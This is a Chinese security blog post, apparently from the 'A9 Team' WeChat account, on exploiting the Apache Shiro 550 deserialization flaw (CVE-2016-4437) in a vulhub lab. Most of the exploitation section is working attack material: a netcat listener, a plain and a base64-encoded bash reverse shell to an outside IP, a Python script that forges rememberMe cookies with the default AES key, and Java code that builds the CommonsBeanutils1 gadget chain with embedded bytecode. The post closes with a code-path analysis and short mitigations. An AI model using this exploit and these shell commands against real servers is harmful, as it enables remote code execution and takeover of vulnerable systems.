“A9 Team 甲方攻防团队,成员来自安信、微步、青藤、长亭、安全狗等公司。成员能力涉及安全运营、威胁情报、攻防对抗、渗透测试、数据安全、安全产品开发等领域,持续分享安全运营和攻防的思考和实践。”
01
—
简介
Apache Shiro 是一个强大的并且简单使用的java权限框架。主要应用认证(Authentication),授权(Authorization),加密(cryptography),和会话管理(Session Manager).Shiro具有简单易懂的API,使用Shiro可以快速并且简单的应用到任何应用中,无论是从最小的移动app到最大的企业级web应用都可以使用。
4.进行反序列化操作
影响版本 Apache Shiro ≤ 1.2.4
04
—
vulhub-master/shiro/CVE-2016-4437
目录下docker-compose up -d
http://192.168.2.147:8080
05
—
nc -lvvp 9999
2、被攻击主机上执行下面命令
bash -i >& /dev/tcp/192.168.239.128/9999 0>&1
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIzOS4xMjgvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}
下面使用ysoserial工具生成CommonsBeanutils1
利用链生成的反弹shell payload。
#shiro_exp.py
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):
popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'CommonsBeanutils1', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
iv = uuid.uuid4().bytes
encryptor = AES.new(key, AES.MODE_CBC, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
if __name__ == '__main__':
payload = encode_rememberme(sys.argv[1])
print ("rememberMe={0}".format(payload.decode())
3、生成序列化后恶意代码
python shiro_exp.py "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIzOS4xMjgvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}"
如果想深入了解ysoserial工具中CommonsBeanUtils1利用链的利用代码,可继续往下看。
PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
PriorityQueue.siftDownUsingComparator()
comparator.compare() === BeanComparator.compare()
TemplatesImpl.getOutputProperties()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
TemplatesImpl.TransletClassLoader.defineClass()
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class Evil extends AbstractTranslet {
static {
try {
Runtime.getRuntime().exec("calc.exe");
} catch (Exception e) {
e.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
}
}
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
ClassPool classPool=ClassPool.getDefault();
classPool.appendClassPath(AbstractTranslet);
CtClass payload=classPool.makeClass("CommonsBeanutils1");
payload.setSuperclass(classPool.get(AbstractTranslet));
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec("calc");");
byte[] code=payload.toBytecode();
import java.lang.reflect.Field;
import java.util.PriorityQueue;
import java.io.*;
import java.util.*;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
public class Test5 {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIwoABwAUBwAVCAAWCgAXABgKABcAGQcAGgcAGwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAcAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAHQEAClNvdXJjZUZpbGUBAAlldmlsLmphdmEMAA8AEAEAEGphdmEvbGFuZy9TdHJpbmcBAAhjYWxjLmV4ZQcAHgwAHwAgDAAhACIBABN5c29zZXJpYWwvdGVzdC9ldmlsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAYABwAAAAAAAwABAAgACQACAAoAAAAZAAAAAwAAAAGxAAAAAQALAAAABgABAAAACwAMAAAABAABAA0AAQAIAA4AAgAKAAAAGQAAAAQAAAABsQAAAAEACwAAAAYAAQAAAA0ADAAAAAQAAQANAAEADwAQAAIACgAAADsABAACAAAAFyq3AAEEvQACWQMSA1NMuAAEK7YABVexAAAAAQALAAAAEgAEAAAADwAEABAADgARABYAEgAMAAAABAABABEAAQASAAAAAgAT");
//byte[] code = Files.readAllBytes(Paths.get("D:\java\shiro-demo\web\target\classes\Evil.class"));也可使用这种方式
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{code});
setFieldValue(obj, "_name", "aaa");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
BeanComparator comparator = new BeanComparator(null,String.CASE_INSENSITIVE_ORDER);
Queue queue = new PriorityQueue(2, comparator);
queue.add("1");
queue.add("1");
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});
// ⽣成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
//反序列化
//System.out.println(barr);
//ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
//Object o = (Object)ois.readObject();
//加密
byte[] payload= barr.toByteArray();
AesCipherService aes = new AesCipherService();
byte [] key = Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
ByteSource finalpayload = aes.encrypt(payload,key);
System.out.println(finalpayload.toString());
}
}
运行获取RememberMe值
因篇幅有限,可根据上面的代码改写成命令回显或注入内存马的利用代码进行深入利用。
06
—
大致分析流程:反序列化方法readObject()→BASE64解码→AES解密→反序列化入口 rememberMe值
1、全局搜索反序列化方法readObject(),定位到DefaultSerializer.java文件,调用的反序列方法deserialize(byte[] serialized)
2、继续跟进定位到convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext)
,该方法调用了decrypt(bytes);具体可以继续跟进
3、发现采用了AES解密并且默认密钥是 kPH+bIxk5D2deZiIxcaaaA==
4、然后回到 convertBytesToPrincipals
方法,找到调用方法getRememberedPrincipals(SubjectContext subjectContext)
,跟进方法
getRememberedSerializedIdentity
,主要是从Cookie中获取rememberMe值做Base64解码
5、回到 getRememberedPrincipals
继续跟进找到调用方法
getRememberedIdentity(SubjectContext subjectContext)
6、继续跟进到resolvePrincipals(SubjectContext context)
和
createSubject(SubjectContext subjectContext)
login(Subject subject, AuthenticationToken token)
→
executeLogin(ServletRequest request, ServletResponse response)
调用了 createToken(request, response)
07
1、替换默认秘钥或随机生成
2、升级Shiro至最新安全版本
原文始发于微信公众号(A9 Team):【A9】Shiro 550反序列化漏洞利用与分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论